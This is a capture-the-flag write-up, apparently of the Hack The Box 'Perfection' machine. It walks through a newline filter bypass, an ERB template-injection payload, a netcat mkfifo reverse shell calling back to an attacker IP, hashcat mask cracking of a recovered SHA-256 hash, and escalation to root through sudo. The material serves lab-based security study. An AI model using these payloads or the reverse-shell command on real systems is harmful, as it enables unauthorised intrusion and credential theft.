Perfection

Scanning

```
┌──(moghees㉿kali)-[~/lab]
└─$ cat nmap.scan
# Nmap 7.94SVN scan initiated Sun Mar  3 20:32:34 2024 as: nmap -A -sC -sV -oN nmap.scan 10.10.1
1.253
Nmap scan report for 10.10.11.253
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar  3 20:33:10 2024 -- 1 IP address (1 host up) scanned in 35.83 seconds
```

Enumeration

- Directory Busting didnt found anything.
- Subdomain fuzzing didnt get anything.
- Then I started capturing requests, and found injection vulnerability in Grade Calculator. But there were filters.

```
  </form>
  Malicious input blocked
</div>
```

- After trying different inputs, I realized **%0a** can bypass filter. But my commands were not getting executed.
- Then I realized there is **SSTI** vulnerability. Then I tried this payload: **<%= system("whoami") %>**
- It returned:

```
  </form>
  Your total grade is 1%<p>
    A
    true: 1%
  </p>
  <p>
    B: 0%
```

Foothold

- This means the command is executed successfully. Then I tried different reverse shell payloads and this one worked.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

- Final Payload:
category1=A%0a<%25%3d+system("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.156+69+>/tmp/f")+%25>

```
susan@perfection:~$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
susan@perfection:~$
```

Privilege Escalation

SUID

```
susan@perfection:~$ find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/libexec/polkit-agent-helper-1
susan@perfection:~$
```

Sudo -l
Password needed.

Enumeration

```
susan@perfection:~$ ls
linpeas.sh  Migration  ruby_app  user.txt
susan@perfection:~$ cd Migration/
susan@perfection:~/Migration$ ls
pupilpath_credentials.db
susan@perfection:~/Migration$ cat pupilpath_credentials.db
◆◆^◆ableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
a◆\
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023fsusan@perfection:~/M
igration$
```

```
susan@perfection:~$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we shoul
d also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things e
asier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our univers
ity with the platform.

- Tina, your delightful student
```

So, I generated a wordlist using a script but it was a bad idea.

Then used hashcat mask to crack the password:

hashcat -m 1400 -a 3 "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" susan_nasus_?d?d?d?d?d?d?d?d?d

```
┌──(moghees㉿kali)-[~/lab]
└─$ hashcat -m 1400 -a 3 "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" susa
n_nasus_?d?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DI
STRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz, 2859/5783 MB (1024 MB allocat
able), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
```

```
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Tue Mar  5 04:08:06 2024 (3 mins, 27 secs)
Time.Estimated...: Tue Mar  5 04:11:33 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1348.5 kH/s (0.54ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 324558848/1000000000 (32.46%)
Rejected.........: 0/324558848 (0.00%)
Restore.Point....: 324556800/1000000000 (32.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_126824210 → susan_nasus_803824210
Hardware.Mon.#1..: Temp: 64c Util: 63%
```

Username: **susan**
Password: **susan_nasus_413759210**

```
susan@perfection:~$ sudo -l
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL
susan@perfection:~$ sudo su
root@perfection:/home/susan#
```